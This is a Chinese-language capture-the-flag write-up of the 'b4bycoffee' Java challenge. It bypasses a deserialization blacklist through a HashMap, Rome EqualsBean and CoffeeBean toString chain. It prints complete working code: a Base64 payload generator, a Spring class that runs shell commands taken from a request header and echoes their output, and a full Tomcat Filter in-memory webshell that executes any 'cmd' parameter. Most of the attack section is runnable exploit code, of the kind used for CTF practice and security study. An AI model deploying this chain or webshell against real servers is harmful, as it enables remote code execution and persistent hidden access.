目录
前言
环境准备
简单分析
EXP(两种打法)
生成Payload
恶意类
①Spring命令执行回显类
②Filter型内存马
前言
本地jar包运行打通了,远程500,nss靶机有问题,换了bugku就可(
主要记录下做题过程,纯菜狗,小白文
环境准备
这次附件给的jar包是可执行jar,不是可依赖jar,不能直接add as lib导入项目
需要进行如下的处理
先是对jar包进行解压
用jadx-gui打开
简单分析
先来看pom
比较刺眼的是Rome依赖,还有spring可能会用于写内存马
接着注意到/b4by/coffee路由,此处便是反序列化入口
AntObjectInputStream
是自定义的对象输入流类,写了一些关键类的黑名单
可以看到ban了ObjectBean,ToStringBean这些Rome链的sink点,TemplatesImpl这种实例化关键类,以及BadAttributeValueExpException这条CC5里触发ToString方法的类
好在EqualsBean还是在的,依然可以配合HashMap来触发ToString
此外AntObjectInputStream
还重写了resolveClass,就是配合黑名单用的
现在问题是加载恶意类的ToStringBean&TemplatesImpl被ban了,空留toString何用?
“当上帝为你关闭了一扇门,就一定会为你打开一扇窗。”
我们看到coffeeBean类重写了toString方法,存在着能加载字节码的后门defineClass(用于将字节数组表示的类定义转换为 Class 对象),并对其进行实例化。
那这不就易如反掌易如反掌了吗(
手搓链子(不会tabby,锐意学习中)
java.util.HashMap#readObjectjava.util.HashMap#hashcom.rometools.rome.feed.impl.EqualsBean#hashCodecom.rometools.rome.feed.impl.EqualsBean#beanHashCodecom.example.b4bycoffee.model.CoffeeBean#toString
EXP(两种打法)
记得pom里再导一个javassist依赖
<dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.29.2-GA</version> </dependency>
生成Payload
GenPayload.java
package com.example.b4bycoffee.exp;import com.example.b4bycoffee.model.CoffeeBean;import com.rometools.rome.feed.impl.EqualsBean;import javassist.ClassPool;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.Base64;import java.util.HashMap;public class GenPayload { public static void setFieldValue(Object obj, String fieldName, Object newValue) throws Exception { Class clazz = obj.getClass(); Field field = clazz.getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, newValue); } public static String getPayLoad() throws Exception { byte[] code = ClassPool.getDefault().get(你的恶意类.class.getName()).toBytecode(); CoffeeBean coffeeBean = new CoffeeBean(); setFieldValue(coffeeBean, "ClassByte", code); EqualsBean equalsBean = new EqualsBean(String.class, "test"); HashMap map = new HashMap(); map.put(equalsBean, "xxx"); setFieldValue(equalsBean, "obj", coffeeBean); setFieldValue(equalsBean, "beanClass", CoffeeBean.class); ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(map); oos.close(); String payload = new String(Base64.getEncoder().encode(baos.toByteArray())); System.out.println(payload); return payload; } public static void main(String[] args) throws Exception { getPayLoad(); }}
恶意类
①Spring命令执行回显类
SpringEcho.java
不出网没法反弹shell,内存马也没写起来,我怎么不去死一死QWQ
命令执行用下面SpringEcho类来回显
(参考链接:java回显学习 | 现科信息安全协会)
package com.example.b4bycoffee.exp;import java.lang.reflect.Method;import java.util.Scanner;public class SpringEcho { static { try { Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder"); Method m = c.getMethod("getRequestAttributes"); Object o = m.invoke(null); c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes"); m = c.getMethod("getResponse"); Method m1 = c.getMethod("getRequest"); Object resp = m.invoke(o); Object req = m1.invoke(o); // HttpServletRequest Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter"); Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class); getHeader.setAccessible(true); getWriter.setAccessible(true); Object writer = getWriter.invoke(resp); String cmd = (String)getHeader.invoke(req, "cmd"); String[] commands = new String[3]; if (System.getProperty("os.name").toUpperCase().contains("WIN")) { commands[0] = "cmd"; commands[1] = "/c"; } else { commands[0] = "/bin/sh"; commands[1] = "-c"; } commands[2] = cmd; writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream()).useDelimiter("\\A").next()); writer.getClass().getDeclaredMethod("flush").invoke(writer); writer.getClass().getDeclaredMethod("close").invoke(writer); } catch (Exception e) { } }}
header注入cmd即可
②Filter型内存马
package com.example.b4bycoffee.exp;import org.apache.catalina.LifecycleState;import org.apache.catalina.core.StandardContext;import org.springframework.context.ApplicationContext;import javax.servlet.*;import java.io.IOException;import java.lang.reflect.Field;import java.lang.reflect.Method;public class TomcatInject implements Filter { private static final String filterUrlPattern = "/*"; private static final String filterName = "Z3r4y"; static { try { ServletContext servletContext = getServletContext(); if (servletContext != null) { Field ctx = servletContext.getClass().getDeclaredField("context"); ctx.setAccessible(true); ApplicationContext appctx = (ApplicationContext) ctx.get(servletContext); Field stdctx = appctx.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(appctx); if (standardContext != null) { // 这样设置不会抛出报错 Field stateField = org.apache.catalina.util.LifecycleBase.class.getDeclaredField( "state"); stateField.setAccessible(true); stateField.set(standardContext, LifecycleState.STARTING_PREP); Filter myFilter = new TomcatInject(); // 调用 doFilter 来动态添加我们的 Filter // 这里也可以利用反射来添加我们的 Filter javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext.addFilter(filterName, myFilter); // 进行一些简单的设置 filterRegistration.setInitParameter("encoding", "utf-8"); filterRegistration.setAsyncSupported(false); // 设置基本的 url pattern filterRegistration.addMappingForUrlPatterns( java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[] {"/*"}); // 将服务重新修改回来,不然的话服务会无法正常进行 if (stateField != null) { stateField.set( standardContext, org.apache.catalina.LifecycleState.STARTED); } // 在设置之后我们需要 调用 filterstart if (standardContext != null) { // 设置filter之后调用 filterstart 来启动我们的 filter Method filterStartMethod = StandardContext.class.getDeclaredMethod("filterStart"); filterStartMethod.setAccessible(true); filterStartMethod.invoke(standardContext, null); /** 将我们的 filtermap 插入到最前面 */ Class ccc = null; try { ccc = Class.forName( "org.apache.tomcat.util.descriptor.web.FilterMap"); } catch (Throwable t) { } if (ccc == null) { try { ccc = Class.forName("org.apache.catalina.deploy.FilterMap"); } catch (Throwable t) { } } // 把filter插到第一位 Method m = Class.forName("org.apache.catalina.core.StandardContext") .getDeclaredMethod("findFilterMaps"); Object[] filterMaps = (Object[]) m.invoke(standardContext); Object[] tmpFilterMaps = new Object[filterMaps.length]; int index = 1; for (int i = 0; i < filterMaps.length; i++) { Object o = filterMaps[i]; m = ccc.getMethod("getFilterName"); String name = (String) m.invoke(o); if (name.equalsIgnoreCase(filterName)) { tmpFilterMaps[0] = o; } else { tmpFilterMaps[index++] = filterMaps[i]; } } for (int i = 0; i < filterMaps.length; i++) { filterMaps[i] = tmpFilterMaps[i]; } } } } } catch (Exception e) { e.printStackTrace(); } } // webshell命令参数名 private final String cmdParamName = "cmd"; private static ServletContext getServletContext() throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException { ServletRequest servletRequest = null; // shell注入,前提需要能拿到request、response等 Class c = Class.forName("org.apache.catalina.core.ApplicationFilterChain"); java.lang.reflect.Field f = c.getDeclaredField("lastServicedRequest"); f.setAccessible(true); ThreadLocal threadLocal = (ThreadLocal) f.get(null); // 不为空则意味着第一次反序列化的准备工作已成功 if (threadLocal != null && threadLocal.get() != null) { servletRequest = (ServletRequest) threadLocal.get(); } // 如果不能去到request,则换一种方式尝试获取 // spring获取法1 if (servletRequest == null) { try { c = Class.forName( "org.springframework.web.context.request.RequestContextHolder"); Method m = c.getMethod("getRequestAttributes"); Object o = m.invoke(null); c = Class.forName( "org.springframework.web.context.request.ServletRequestAttributes"); m = c.getMethod("getRequest"); servletRequest = (ServletRequest) m.invoke(o); } catch (Throwable t) { } } if (servletRequest != null) return servletRequest.getServletContext(); // spring获取法2 try { c = Class.forName("org.springframework.web.context.ContextLoader"); Method m = c.getMethod("getCurrentWebApplicationContext"); Object o = m.invoke(null); c = Class.forName("org.springframework.web.context.WebApplicationContext"); m = c.getMethod("getServletContext"); ServletContext servletContext = (ServletContext) m.invoke(o); return servletContext; } catch (Throwable t) { } return null; } @Override public void init(FilterConfig filterConfig) throws ServletException {} @Override public void doFilter( ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println( "TomcatShellInject doFilter....................................................................."); String cmd; if ((cmd = servletRequest.getParameter(cmdParamName)) != null) { Process process = Runtime.getRuntime().exec(cmd); java.io.BufferedReader bufferedReader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + '\n'); } servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); servletResponse.getOutputStream().flush(); servletResponse.getOutputStream().close(); return; } filterChain.doFilter(servletRequest, servletResponse); } @Override public void destroy() {}}